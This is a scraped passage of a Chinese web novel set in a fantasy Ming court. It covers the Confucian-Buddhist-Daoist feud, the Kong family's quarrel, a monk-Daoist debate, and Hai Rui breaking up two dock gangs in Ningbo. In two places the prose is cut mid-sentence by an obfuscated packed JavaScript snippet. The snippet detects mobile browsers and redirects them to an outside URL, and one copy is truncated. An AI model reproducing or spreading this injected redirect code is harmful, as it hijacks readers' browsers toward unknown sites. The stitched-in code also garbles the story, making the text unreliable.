“嗯,我明白了!”清风点了点头,然后直接从蒲团上起身就往门外走去。 “国师,去哪?”黄锦一愣,看着黑漆漆的门外。 “去玉熙宫啊。”大殿门口,被灯火包裹的清风,头也不回的朝着台阶下走去。 ——咚!——咚!咚! 这时,宫门的钟声响起,夜已至三更。 “可是现在已经三更天了……”黄锦赶紧追上去。 “对啊,三更天才好嘛,你忘了,我是妖道了嘛?”清风突然回头,抬了抬光洁的下巴,可爱的鹅蛋脸上露出一抹俏皮之色。 “妖道魅惑君王,三更天入玉熙宫,彻夜不出,正值三教之争,佛门……那个谁,叫什么来着?”清风说着,发现自己忘记了那位的法号。 “禅霜。”黄锦愣了一下,赶紧说道。 “嗯,”清风重重点头,“正值三教之争,佛门禅霜法师被敕封国师,道门妖女急了,然后就去勾引皇上了,儒宗还不大做文章?” “走啦!”说着,清风朝着院外而去,独留黄锦一个人发愣,半晌后一个激灵,反应过来的黄锦讷讷道:“她什么都懂啊?” 不对,谁把我家国师给教坏了?什么时候,国师看的这么清了?黄锦突然又一个激灵。 “哼?”走出院外的清风,听到黄锦的呢喃声,微微摇头,抬头看了看天上的明月,摇着脑袋,道:“我是不动,不是不懂呀。” “要不然,我的尊号,怎么是清风玄灵守真慧悟真人呢?皇上的眼光又不会错。” “唉,不过黄公公有句话说的对,现在是山下了,山下是红尘,我亦是山下人。” “既然是山下人,哪有不受红尘所累的呢?嗯,这也算是修行!” 翌日,国师清风,三更天秘密入玉熙宫,彻夜不出,黎明时分坐着皇上的轿辇返回的消息传出,而后不胫而走。 京城各处,一只只,三五成群,最后不计其数,训练有素的灵隼冲天而起,朝着大明各处飞驰而去,先是北直隶,再是南直隶。 大明朝,两京一十三省,儒释道三教众人收到的消息却是更为夸张。 一时间道门一些心 思不够纯良之辈,顿时**的不行了。 国师竟然如此受皇上恩宠?! 嗯,没想到国师大人竟然和皇上是这种关系。 有这一层关系在,什么儒宗,什么佛门秃驴,统统都闪开吧,未来是道门天下! 懂不懂什么叫国教,嗯? 更有甚者,甚至脑洞大开,私下里讨论,觉得现如今皇帝后宫没有皇后,国师未尝不可?一时间,消息传的有鼻子有眼的。甚至不少百姓,也对这种宫廷秘事,很是感兴趣。 一时间,这种消息,开始越传越广,而道门造势也愈发的声势浩大。 不过一些心明眼亮之人却是看的分明。 现如今民间江湖竟然胆子大到开始散播宫廷秘闻了,更诡异的是官府竟然没有出面。 这让一些生来谨慎的人嗅到了一丝的危机,现如今如释道三教闹得太大了。 但是朝廷却始终没有出面阻止,这说明了什么?这说明这里头的水太深了。 有些胆小的开始撤退了,而有些迟钝的,依旧被大势裹挟,或是深陷其中当了推手,或是不可自拔的,结交儒释道三教,或是盲目跟随。 声势越来越浩大,越来越让人心惊肉跳。 山东,曲阜,孔家大堂之中,安排众多族人继续把事情闹大,继续跟佛道二教‘死磕’后,孔贞干轻抚胡须,看着堂外大雨,道: “尚贤,你刚才为何一言不发?可是对为父的安排有什么疑议?” 说话间,孔贞干回身看向自己这个儿子。 要说自己这个儿子,什么都好,温润如玉,翩翩公子,可以说是自己最理想,最完美的继承人,但就是有些太过于谨慎,妄自菲薄了。 这次儒释道三教之争,闹得空前之大,但他似乎有些害怕了。 整天疑神疑鬼,总觉得朝廷要收拾起来的话,不会单单只收拾佛门和道门,很有可能会借着这个由头,连儒宗也一块儿收拾了。 “父亲,”孔尚贤有些犹豫,不过想到自己心底那股越发的不安之感后,一咬牙道:“孩儿还是觉得此事……没有那么简单!” “你是觉得,为父想的简单了吗?”孔贞干的脸色一冷,继而陡然发出一声低喝,道:“放肆!” 突然被父亲这么吼了一嗓子,孔尚贤身体微微一颤,不过既然话已经说出来了,他也不后悔,反而抬起头,凝视着父亲,道: “父亲,您总说皇权想要稳固,朝廷想要长治久安,就离不开我儒宗的辅佐?” “不错,有问题吗?”孔贞干冷着脸,斜睨着儿子,傲然道:“从古至今,诸子百家笑到最后的,只有我儒家!” “你再翻开史书看看,有哪个皇帝离开了儒家,又有哪个皇帝能离得了儒家?” “再说现如今,京城那位皇帝,他是雄才大略,人至暮年还能浪子回头,将王朝带入了一个崭新的阶段,迎来了空前的盛世。” “可也正是如此,让他愈发的狂妄,比所有皇帝还要狂,他竟然想要动摇儒宗的地位!” “所以我就让他见识一下天下儒宗的力量!”孔贞干说着,神情也越发的狂傲,“人人都知道,朝中是清流和严党的天下。” “可不要忘了,清流也好,严党也罢,所谓的朝堂派系,他们的根,他们的传承,全都源自于我儒宗,就如那严党一样……” “严世蕃想要对我孔家下手,并且推举百家学说来取代我儒宗的地位,那我便让他严党顷刻间分崩离析,在那朝堂当中再无可用之人。” “皇帝支持了严世蕃,那么等待他的便是整个大明朝大大小小的官员齐齐上奏。” “他可以以各种各样的名义去杀害这些官员,以此来捍卫皇权神圣不可侵犯的尊严。” “可是只要这大明朝还想继续存在,还想继续让盛世维持,让百姓安居乐业,让朝野秩序不崩,他就必须要要延用官员!” “杀一批又能如何?新上来一片官员,还会是我儒宗的拥趸!” “正是因为皇帝看到了这一点,所以他必须要向整个如中妥协!” “佛道两家,就是用来转移注意力的牺牲品,”说着孔贞干看着儿子孔尚贤道:“现如今还有谁?会记得当初变法之事?” “朝廷的所作所为,不断的推波助澜,想要让儒释道三教之争愈演愈烈吗?” “这些,不正是证实了我的猜想吗?你到底在担心什么?”说着,孔贞干语重心长道: “尚贤,君子谋而后动是好事,可也要明白,你成大事者不拘小节,我老了,孔家是要传给你的,身为一个合格的领导者,太过于较真旁枝末节,当断不断反受其乱!” “父亲,你漏掉了一件事!”这一次面对孔真盖有理有据的话,孔尚贤没有再妥协,而是直接道:“你说的是没错,儒宗不会被灭。” “但是您话中口口声声说的是,儒宗不会被百家学说所取代,可是您凭什么?就凭皇帝要用儒宗?可皇帝同样可以用百家学说!” “没有了现如今的儒宗,皇帝随时可以再另立一支儒宗,一个完全服从于皇权,一个甘愿与百家学说平起平坐,共治天下的新儒宗。” “这些 ,您有考虑过吗?” 孔尚贤一声声的质问,像是雷霆一般在孔贞干耳边炸响。 “你有没有想过,这次三教之争造成的大祸乱,影响是什么?那就是三教没有一个能逃的开,佛门污秽,道门虚伪,儒宗就干净了?” “父亲,您不觉得现如今,我儒宗已经变得非常的凸显了吗?只要是佛道之争的地方,就会有儒宗之人出面,挑事的似乎都是儒宗之人!” “那刚发的‘杂报’您有看过吗?”孔尚贤回身拿起一份杂报,递到孔贞干跟前,道: “这撰写‘西游释厄传’的吴承恩,已被说成了是当世大儒,专门揭露佛道两家黑暗的儒宗代表,不少百姓对他所言,深信不疑!” “儒宗,就像是黑夜里的夜明珠,无比的突现,明亮,这世上有黑就有白,有阴就有阳,黑白,阴阳,颠倒,你方唱罢我方唱……” “翻转,不过是顷刻间的事情而已。” “我能看到的,不少聪明人也能看到,当世人发现,一切都是儒宗在挑事,届时便是塌天大祸,儒宗会被一刀切下,分崩离析!” “儒家,也是百家学说之一,它是不会被灭,可一个新的儒宗未必不会起来。” “届时,新儒宗就是百家学说之一,他们不会想着压倒别人,不让别人出头,而是乖乖的与百家一同,治理天下!” “如此一来,不正是达到了朝廷变法,‘启思革新’的目的吗?” “届时,那我孔家又该何去何从?确切的说,作为推波助澜的先手,可还会存在?” 孔尚贤的话说出口,顿时让孔贞干浑身僵直,瞪着眼,脸色青一阵红一阵。 此刻他满脑子都是孔尚贤说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14669382|156780||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的那一句,儒宗分崩离析,新的儒宗出现,孔家是否存在…… “父亲,收手吧!”孔尚贤说着,上前抓着父亲的肩膀,恳切而焦急道:“时代变了,这次的事情,就是冲着儒宗,孔家来的!” “皇上从来不是要消灭儒宗,而是要改变儒宗,在不选择臣服,不及时收手,这场破除王朝陈旧体质的变法,第一个被牺牲的就是孔家!” “父亲……”孔尚贤还要继续劝说,却是被孔贞干突然一声暴喝打断:“一派胡言!” “你说的这些,也不过是你的推测而已!”孔贞干吹胡子瞪眼,怒视着儿子,气的浑身发抖,“变法?百家学说?” “你告诉我,百家学说有什么用?” “他们的学说若是有用的话,那为何从古至今,笑到最后的会是我儒家?”说着,孔贞干指着孔尚贤,怒声道:“我告诉你孔尚贤!” “那是因为他们无用!” “那么多皇帝,秦皇汉武,唐宗宋祖,还有他大明朱家的所有皇帝,全都坚定不移的选择了我儒家,现在他朱厚熜,他凭什么!” “轰隆!”阴沉的天穹之上炸雷响起,孔贞干看着红着眼,几乎是恳求自己的儿子,怒声道:“我告诉你,我不会输!” “在如释道三教之争落下帷幕之前,你别去祠堂跪着吧,没有我的允许不准踏出一步。” 说完,孔贞干大袖一甩,大步出了大堂。 “老爷……”仆人见状,赶紧城诚惶诚恐的撑着雨伞凑上前来,要为其撑伞,结果却被愤怒的孔贞干一把推开,“滚开!” “啪嗒!”仆人被推倒在地,溅起一片水花。 雨雾朦胧中,这名仆人眼底闪过一抹寒光,低声道:“取死有道!” 说完,仆人脸上的表情瞬间恢复平静,而后起身默默的离开,回到自己的屋子。 不一会儿,一道秘奏在仆人手中完成。 看着桌上,今日孔贞干与孔尚贤父子的对话内容,想着,仆人心中一动,又提笔补了一句,“孔贞干直呼皇上名讳,孔家有反意。” 写完,吹了吹墨迹,仆人卷起秘奏,来到窗前吹响特殊的口哨,不一会破空声响起。 一只毛发锃亮,体型比一般的鹰隼要大两圈的白毛隼落下。 “去吧!”仆人将秘奏放入灵隼腿上的竹筒里,拍了拍灵隼的脑袋,将其推出窗户。 “啾!”灵隼发出一声嘹亮而尖锐的啼鸣,冲天而起,直奔京城。 终于,嘉靖四十八年,七月。 经过三个月的酝酿,以及朝廷、孔家和各方推手的推波助澜之下,三角之争愈发激烈了。 佛道两家在朝廷推波助澜之下,已经发展出了大批量的信徒。 每一场佛道之争,论道论禅,都会聚集大量的双方拥趸和信徒。 而此时京城,最大的酒楼,醉仙楼内。 此刻就上演着一场佛道两家之争的巅峰对决,而起因自然是因为,一个儒家书生,以如今爆火的话本故事,西游释厄传第四十六回:“外道弄强欺正法,心猿显圣灭诸邪”展开的一句点评,从而引发了一僧一道两个僧人的对峙! 现如今整个大明朝都知道,儒释道三教可以说是闹得不可开交,双方你死我活。 那书生原本只是随口的口嗨一句:“要说外道,还是佛门吧?佛门才是外来户。”结果好死不死的被边上的僧人听到。 僧人出言辩解,并反问书生。 毕竟现如今,三教之争太过激烈,再加上佛道双方对儒家都不爽,自然咄咄逼人。 但道门之人,有时候又随心随性惯了,虽然也看不惯儒家之人,但有时候如果看不惯和尚的话,自然也会率先对和尚出手。 “阿弥陀佛……”僧人双手合十,道:“施主此言差矣,佛法东传已久,早已融入华夏,成为吾辈精神之依归,何来外来之说?” “好一个融入华夏,”道人哈哈大笑,“大师既然说融入华夏,为何依旧做那西夷之举?” 道人出言,僧人自然不会退避。 儒释道从一开始的,道门和佛门同时被儒宗所欺负,已经演变到了现在三家互相看不惯了。 “还请施主赐教。”僧人始终双手合十,面露谦卑之色,但行为却是非常的明确,就是要跟你杠到底,你最好不要退缩。 “哈哈哈,”见和尚要跟自己论道,道人自然也不会拒了,他哈哈大笑一声道:“口口声声说自己融入华夏,行为举止处处遵循西夷之礼,还要我赐教?哈哈,可笑,可笑!” 道人仰天大笑着,而后突然收声,凝视着僧人,道:“好!那我现在就告诉你,何为西夷之举,何为诸华之容!” “听好了!”道人一摆手中拂尘,傲然道:“端委缙绅,此乃诸华之容!” 听到这里,醉仙楼当中有饱学之士开口为旁边看热闹的人解释道:“身着华美礼服,头戴尊严官帽,配以璀璨绶带,此乃中原华夏礼仪之典范,彰显我等庄重与高雅!” 其他人听闻也是微微点头,尤其是身着华服,已经及冠的青年,下意识的挺拔身姿。 嗯,确实,我华夏礼仪,就是这么的高贵,庄重典雅,看我等就是了! 道人说着,上下打量道人一番,继续道:“而剪发旷衣,此乃群夷之服。” “噗嗤!”醉仙楼中,有人笑出声来,不少人也纷纷点头称赞这句话不用解释,他们都听得懂,“剪发旷衣?”说的就是和尚了! 嗯,这穿着,这发型,确实难看。 道人继续道:“我华夏,擎忌罄折,侯甸之恭,彰显谦逊之礼仪……再说丧葬,我华夏自古便是棺殡榔葬,彰显中夏之风,尔等僧人,火焚水沉,此乃西戎之俗!” 听到这里,众人纷纷点头。 这些僧人确实喜欢玩什么焚烧,水沉,让人死后都不得安宁,这不是蛮夷是什么? 道人说着,语速越来越快,最后冷笑着看向僧人,道:“如此,明白了?” 虽然这道理说的很有道理,也让在场的众人心服口服,并为诸华之容而自豪,可他们没有忘了,自己等着聚在这里是看乐子的。 一时间众人的目光纷纷看向那僧人,期待着他如何反击。 “施主此言差矣,”僧人双手合十,先是不慌不忙的低诵了一声佛号,而后看着道人轻笑道:“变本从道,不遵彼俗,俗风自殊,无患其乱,这点道理,施主不明白吗?” “我佛度化世人,助众生脱离苦海,此乃功德无量之举,从不拘泥于形貌。” “反倒是施主,拘泥于服饰,外貌,实乃着相了,此乃修行不够。” “且施主在此质问贫僧,如此咄咄逼人,这可有失我华夏礼仪,却与西夷无异了。” 这僧人很聪明,言辞之间立场从未改变,始终将牢记姿势是华夏一方,也不掉陷阱。 “好个诡辩,”道人冷哼一声,道:“也罢,在这衣着外貌上与你争辩也无甚意义,我华夏礼仪之邦,岂会耻笑尔等西夷之举。” “不过你说,佛度化世人,助众生脱离苦海,贫道倒是要笑话你了,区区小道也来显眼?端的是,忘了本了!” 道人说着,开始第二回合的攻击。 “你莫不要忘了,早在晋朝时期,历史就已有公断,《老子化胡经》早有言说,老子入夷狄为浮屠,化胡为佛!” 说到这里,道人直接搬出了历史大杀器。 没错,这道人拿出来的历史大杀器,正是《老子化胡经》这部巨著。 酒楼内一些了解这段公论的人,则开始为其他不懂的人进行讲解。 简单来说,这《老子化胡经》中讲述的是,老子西出函谷关,到西域化身佛陀释迦牟尼,对西域人、天竺人实行教化。 具体过程简单概括就是,老子在天竺乘日精进入净饭王妃净妙腹中,出生后自号释迦牟尼,建立了佛教,并开始对天竺人实行教化。 而释迦牟尼不过是老子的一个化身。 至于为啥说它是历史大杀器,原因也很简单,《老子化胡经》自南北朝以来,便为佛道二教的一大公案,每当佛道关系紧张之时,《老子化胡经》便成聚讼之所! 双方围绕此书的真伪,辩论了近千年。 而了解完这部著作当中主要讲的内容后,在场众人纷纷恍然大悟。 一时间看向那僧人的目光都变了。 不是,你家佛祖都不过是人家道祖的一个化身,你现在凭什么跟人家道门相争? “阿弥陀佛,”然而面对这如芒刺背的目光,僧人却始终淡定如常,双手合十低诵一声佛号,道:“此乃谬传而已。” 第一百六十六章 东南剑鸣,海瑞:大明的国土上,不允许有这种扯淡的存在! “结束了?”鄢懋卿不解的看向严世蕃。 近日听闻京城之中,儒释道三教之争也越发的激烈,所以在小阁老的要求下,二人来到了这京城最大的酒楼,醉仙楼。 不巧,竟然真的让他们碰上了这一幕。 这不过是临时起意而已,没想到就能碰到,可见三教之争,如今已经发展成了何等地步。 不过此时听到小阁老说该结束了,鄢懋卿有些发懵,三教之争到了如今的地步,真有那么容易说结束就结束吗? 身为严世蕃的心腹,鄢懋卿自然是知道一些内幕的,也知道三教之争就是朝廷一手促成的。 不过,朝廷具体打算如何结束这场三教纷争,那他却是不知道了。 “你帮我去安排一件事,”看着一脸懵的鄢懋卿,严世蕃招了招手示意对方附耳过来,“你安排一批人去……” 一番耳语,鄢懋卿听的连连点头。 西苑,玉熙宫内,嘉靖看着悬浮在面前的本命大明,吕芳则静静地伺候在旁边。 二人自然都看到了现如今大明境内,儒释道三教之争的激烈盛况。 “这以孔家为首的儒宗力量,还真是不容小觑……”目光从本命大明上收回,嘉靖语气莫名。 “回主子,”吕芳自然听得出来,嘉靖话语当中的意思,表明这是在表达对孔家的不满,于是心中一动,道:“安插在孔家的锦衣卫来的密奏,孔贞干直呼主子名讳,狂悖异常。” “此举,无异于是在表达反意了。”吕芳缓声说着,小心的观察着嘉靖的神色。 “压轴戏唱的差不多了,”不过嘉靖似乎对此毫不在意,手指轻抬了抬,道:“接下来,该轮到大轴戏了……” 伺候嘉靖多年,吕芳自然明白主子说的是什么意思,当即笑呵呵的附和道: “想必严阁老他们也该行动了。” “朕放在东南那把剑也该出鞘了,”嘉靖说着,轻抬了抬手指,“给海瑞去个信,届时他自会明白怎么做。” “是,奴婢这就去办。”吕芳说着,躬身一礼后,转身离去。 “等这次三教之争结束,变法开始以后,差不多就可以在京城种下灵脉了。”望着吕芳离开的背影,嘉靖心中暗暗盘算着。 一只灵隼从西苑飞出,朝着东南方向疾驰而去。 傍晚时分,宁波府,知府衙门后堂。 “去吧。”海瑞轻轻地拍了拍站在窗沿的灵隼,手上灵气浮动,将灵隼湿透的羽毛烘干后,轻轻拍了拍灵隼的脑袋说道。 “嘎……”感受到海瑞大手的温和,灵隼似是有所感应一般,脑袋轻轻凑了凑海瑞的手掌,发出沙哑的的呜咽声后,振翅飞入天穹。 目送灵隼离开后,海瑞轻笑一声,然后拿起手中,宫里传给他的密旨看了起来。 “呼,”看完之后海瑞轻轻吐出一口气,抬头望着阴沉的天穹,轻声道:“希望严嵩父子,不会把事情闹的太大……” 说着,海瑞手中灵气爆发,继而密旨瞬间崩碎成齑粉。 嘉靖四十八年,八月,整个东南多雨,阴雨绵绵。 宁波府,鄞县,码头。 海瑞就职宁波府知府,而知府衙门所在就在鄞县。 此时,鄞县码头边上,可以说是热闹无比。 “打!打死这帮为秃驴说话的人!” “兄弟们上,别怂,别让那群只知道妄想成仙,被人忽悠的连北都找不到的蠢材占便宜!” 一时间,码头上两拨人爆发了激烈的冲突,你打我一拳,我踹你一脚,骂娘声此起彼伏,不绝于耳。 而这一切的起因,不用猜都知道,是因为三教之争。 起因也很简单,有人说,佛门是藏污纳秽之地,这自然引起了不少佛门信徒的不满。 而说这番话的,自然是道门的拥趸。 于是,佛门信徒开始反击,道门拥趸也不是个怕事的,然后双方从最开始的口角之争,演变成了现如今的全武行。 知府衙门后堂。 “老爷,老爷,不好了!”海瑞正在和王用汲办公,突然仆人慌慌张张的跑了进来。 “何事如此惊慌,别忘了这里是知府衙门,成何体统!” 看着仆人这一副惊慌失措、言行无状的模样,王用汲眉头一皱,起身低声呵斥起来 “把气捋直了,”看着仆人这一副惊慌失措、惊魂未定的模样,海瑞也是眉头一皱,抬了抬袖子,淡然道:“如实说来,何事让你如此惊慌?” 仆人如此模样,海瑞心中确实有所不满。 身为知府衙门的仆人,遇事竟然大喊大叫,还口口声声说着大事不好,确实不成体统。 即便这仆人不是官员,但他既然身在知府衙门,那他的言行举止就代表着朝廷! 在海瑞看来,现如今的大明王朝,根本没有任何一件事,值得朝廷之人惊慌失措。 “咕嘟!”听到海瑞的话,仆人狠狠咽了口口水,而后强行让自己平复下来,这才抬手对着王用汲和海瑞二人作揖行礼,道:“回禀二位老爷,码头打起来了,是佛门和道门的信徒!” “不仅如此,随着道门和佛门的人出面,整个鄞 县已经彻底动了起来!” “不少百姓都开始站队,他们拿着锄头,铁锹,势必要与对方争个长短高低!” 打起来了?听到仆人的话,王用汲看了海瑞一眼,眼底不由得浮现出一抹惊讶之色。 反倒是海瑞,在听到仆人的消息后,表现的却是异常平静,眼底有了然之色浮动。 他知道今日东南,宁波府佛门和道门之争,就是一个导火索,而目的就是让自己出面结束这一场,儒释道三教引发的纷争。 从而给小阁老严世蕃的变法做铺垫。 什么人有能量,让有自己坐镇的鄞县,突然之间出现如此大规模的争斗? 毫无疑问,除了主持‘启思革新’变法的严世蕃,不会有旁人了。 “明受,”海瑞说着站起身,道:“你即刻前往驻军,让人前往码头!”说着海瑞直接起身对着仆人道:“前面带路!” “是!”仆人自然不敢违拗海瑞的命令,应了一声,快步转身朝外跑去,“来人,备轿!” 王用汲凝视着海瑞的背影,怔了怔,而后想到事态的危机也不敢多逗留,赶紧快步朝着堂外而去,不过心中却回想着海瑞那平静的面色。 “刚峰的表情,听到整个鄞县,因为佛道之争,爆发如此大规模的争斗,刚峰兄,他似乎毫不意外,就像是早都预料到了一样……” 很快,海瑞便在仆人的带领下,来到了码头。 此时码头已经乱做了一锅粥,人头攒动,喧闹异常,而在一片空地处十几个捕快,已经拔刀将左右两拨人给生生隔开。 “对面海云帮的怂包,有种的上来,看老子不把你脑浆子打出来!”一个手拿木棒,满脸横肉的壮汉,不顾捕快的阻拦,怒视着对面。 “潮涌会的瘪三,你以为爷爷怕你?来啊!”一个高个子,耿着爆出青筋的脖子,面红耳赤的怒视着前方。 如果不是有捕快拦着,双方已经冲到了一起。 “海云帮的伪君子就和佛门那帮秃驴一样,说好的这码头以西归你们,码头以东归我们,这都多少年了,你们侵占了我潮涌会多少生意?” “放屁!”面对潮涌会的污蔑,海云帮的人自然也不会坐以待毙,纷纷开始反驳。 “什么叫我们侵占了你潮涌会的生意?我看你们也和道门那帮牛鼻子一样,整天想着修仙,相信世上有神仙,脑子都坏了是不是?” 高个子男人狠狠吐了口浓痰,险些飞进那奋力喊叫着,让双方不要冲上来的捕快嘴里。 “别人为什么不跟你潮涌会做生意,你自己心里没有点儿数,是吗?” “多少年了,不管海上生意如何,你们都不知道变通,死守着那点没用,老旧的规矩,还有你们帮主更是废物一个。” “根本不管帮内成员你死我活的内斗,跟着牛鼻子修了几天道,就开始玩什么无为而治,顺其自然,家里上上下下管理混乱一片……” “就这,你还好意思腆着个大胖脸来说什么抢生意?”高个子的攻击力不得不说,很是强夯,满脸鄙夷道:“海外那些商人不跟你们做生意才是正常,要是哪天真的跟你们做生意,怕不是那些西洋人的脑袋也坏了。” “哈哈哈……”说完,海云帮众人纷纷大笑起来,而潮涌会的人则愤怒异常。 “放你娘的屁!”满脸横肉的大汉,顿时恼羞成怒,一挥手中的木棒大声道:“兄弟们上,干死这帮海云帮的杂碎!” “来来来,今天你潮涌会的软蛋,要是弄不死爹,爹跟你姓!”海云帮也不怂。 一时间,码头上双方冲突再次升级。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14669383|156780||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 十几个捕快见此,只能极力推开双方,但面对愤怒的海云帮和潮涌会帮众,十几个人的力量,太过渺小。 如果不是他们身上穿的那一身官服,如果不是这宁波府知府是海瑞,这群人早就克制不住,开始互相争斗了起来。 此时,在货运码头不远处,海瑞已经下了轿子,冷冷的看着远处面红耳赤的双方。 在他身旁,仆人则是擦了擦额头上的汗水,小心翼翼的为海瑞介绍着海云帮和潮涌会。 “老爷,这海云帮早在太祖洪武朝时期就已经存在了,说白了就是一群渔民和码头工人组成,起初是为了共同抵御海盗侵扰而联合起来,甚至他们的几位当家都是军中之人……” “最开始的时候是由几个受了伤的百户拉起,组建的势力,后来开始收拢一些在战场上受了伤的弟兄,慢慢的就成了气候。” “之后,聚拢了不少难民,为朝廷和当地解决了不少麻烦,知府就默许了他们的存在……” “随着岁月流逝,海云帮逐渐发展成为一支在宁波府内颇有影响力的货运帮会。” “主要负责将从各地运来的货物卸载,还有提供船只修葺,确保商船能够安全地往返于宁波和其他港口之间。” “甚至不少海外的商船,都跟他们有合作,如今随着朝廷海禁政策的开放,他们也开始做起了海上的生意,不过他们的生意范围主要是以这码头东边,也就是东海岸一带到杭州湾……” “码头西边的西海岸一带,则归潮涌会所有。”仆人如数家珍的为海瑞 说着,“当然,永乐年之前,整个宁波府一带都是他们的地盘。” “相比于海云帮,在洪武朝时期就存在,这潮涌会成立的时间较晚,永乐年间兴起。” “相同的点是,他们背后同样是一群受伤的军中老人,说是效仿当年的海云帮一样。” “一开始,他们是在海云帮麾下讨生活,不过海云帮麾下,太多小帮会了,慢慢的他们不满于当时码头上一些不公平的待遇,希望通过团结一致来争取更好的生活。” “再加上当时海云帮在整个宁波府一带势力很大,又是民间抗倭的一部分不可忽视的力量,凡是到任的知府或者是巡抚,在了解到他们的事迹以后都会进行一些嘉奖。” “为了不让一家独大,所以当时的知府扶持了潮涌会,然后双方从永乐年间就开始摩擦不断,慢慢的就以东西为界限划了地盘。” “最近闹得沸沸扬扬的三教之争,也不知道怎么的,这海云帮和潮涌会也参合了进去……”说着,仆人摇头叹息。 不过听到这些海瑞眼底却是闪过一抹精光,心中暗道:“看来,朝廷早就在我这宁波府布局了,否则这海云帮和潮涌会怎么如此?” 仆人自然不知道海瑞心中所想,继续道:“海云帮支持佛门,潮涌会支持道门……” “就在刚才,就因为一个书生,下船时,随意说了一句佛门秃驴,然后引起了海云帮的不满,潮涌会自然不会允许客人被伤害……”说着,仆人一摊手,意思不言而喻。 双方打起来,就是因为这么荒诞的理由。 “踏踏踏!”就在这时,远处传来一阵密集而整齐的脚步声。 只见王用汲骑着一匹马,身后带领着一群精锐的驻军匆匆而来。 “刚峰,我带了一千驻军过来,接下来……”王用汲话还没说完,就听海瑞冷着脸道:“全部羁押,关入知府衙门!” “老爷且慢!”然而海瑞话音刚落,一旁的仆人立刻大惊失色,连连摆手,压低声音道:“千万不可啊,这里少说有一千号人,岂能全部羁押?再说,海云帮和潮涌会势力颇大……” 仆人还在急声劝谏着,却突然发现海瑞正凝视着他,满脸的冷漠之色,身上有股淡淡的威压,让他心头不由狠狠一颤。 “明受!”海瑞冷声道。 “李千户,全部羁押!”王用汲自然明白海瑞的意思,大手一挥示意那名千户动手。 一时间,千人精锐出手,顿时喊声一片。 “在我大明朝,只有朝廷官府,没有什么海云帮,潮涌会!”海瑞冷声道:“明白了?” 意思很明确,在大明朝,不允许有这种未经官方许可,朝廷任命的扯淡存在。 尤其是他海瑞眼皮子底下! “……” 国庆休息一天,更新的有点少,明天补上~ 第一百六十七章 孔贞干:完了!腹黑的清风:冤枉你的人比你更知道冤枉! 海云帮,总舵。 “听大师一番话,犹胜十年书啊。”海云帮的帮主名叫陆洪,是个皮肤黝黑,浓眉大眼的中年男人。 此时,陆洪正一脸谦逊的看着面前的老和尚,言谈举止说不上的尊敬。 然而就算是面对面坐着的老和尚都没有发现的是,他眼底深处那微不可查的一抹不屑。 他之所以让整个海云帮上下都成为佛门的信徒,公然支持佛门,也不过是为了把事情闹大而已,没有人知道海云帮早被严阁老收了。 至于上面为什么要他这么做,他不知道,也懒得理会,反正是上面怎么要求,他照做就是了。 至于信佛?呵呵,他还真不信这一套。 什么因果报应,什么今世来生,都是扯淡罢了,活好当下才是最重要的。 “阿弥陀佛,”老和尚面对陆洪的恭维,也不托大,缓声道:“施主是贫僧见过最有慧根之人,这都是施主悟性高超。” 如今,儒释道三家争的不可开交,儒宗可以先不谈,道门必须要压下去。 世人现在都知道,道门跟佛门两个天才,被皇上敕封为了国师,这让佛门看到了崛起的希望,他们正好借着这次三教之争,让世人知道佛门不比道门差,甚至是比道门强! 当然最重要的是,他们不争斗不行。 毕竟如今禅霜已经是国师了,不论是佛门又或者是道门,都不争,任由儒宗抨击,那结果就是被天下人所轻视,和误解。 到时候即便他们封山锁门也将于事无补,迎接他们的很有可能就是灭亡。 如果全天下的百姓都觉得佛门不是什么好地方,是藏污纳秽之地,那么就算没有实质的证据,朝廷为了避免麻烦,也会收拾他们。 因此,大家都要争! “帮主,不好了,不好了!”就在这时,大堂外,仆人大喊着跑了进来。 听到仆人的大喊,陆洪眼底闪过一抹精光,继而起身喝道:“放肆,没看到密云大师在此,吵吵闹闹,成何体统!” 虽然这么说着,不过陆洪心中却隐隐间,已经猜到发生了什么。 “回禀帮主,弟兄们在码头跟潮涌会的人打起来了,然后,然后那位海知府便带兵,将所有人都押入了大牢!不仅如此,捕快现在就在门外,要带帮主回去问话!” “什么?!”听到这话,陆洪顿时大惊失色,不敢置信的发出一声惊呼。 当然,他这些表现都是在做戏而已。 把事情闹大,而且还是在海瑞的地盘上,会遇到什么事,有什么结果,他心里早有预料。 毕竟上面安排他做这件事的时候,会有哪些后果都已经给他说的清清楚楚了。 “帮主现在怎么办?”仆人急得满脑袋大汗。 “踏踏踏!”这时,一阵脚步声响起,跟着三个捕快闯了进来。 “陆洪,奉知府命,带你回衙门问话,”为首的捕头冷声道:“走吧,别让我们难做。” 说着轻轻一挥手,身后两个捕快上前,直接将陆洪这个海云帮的帮主拿下。 至于那个被称做密云大师的老和尚,此时也是满脸的不解之色,不过看着眼前的架势,他终究是没敢说一句话,只能不知所措的站在原地。 “走!”捕头冷冷看了眼这个老和尚,转身就走。 一天时间,鄞县发生了巨变,盘踞在宁波府的两大帮会直接宣告覆灭,不少帮众直接遣散,至于两家手头上的生意则是直接被官府接手。 夜。宁波府,知府衙门后堂。 “刚峰,”王用汲快步从外边走了进来,看着坐在案桌后批阅公文的海瑞,深吸了一口气,让自己的心绪平复下来,而后开口道: “上面是打算动手了吗?” 王用汲自然是知道朝廷的打算的,也知道朝廷是要启用海瑞这把剑来结束这一场三教之争引发的纷乱,从而给严世蕃变法铺路。 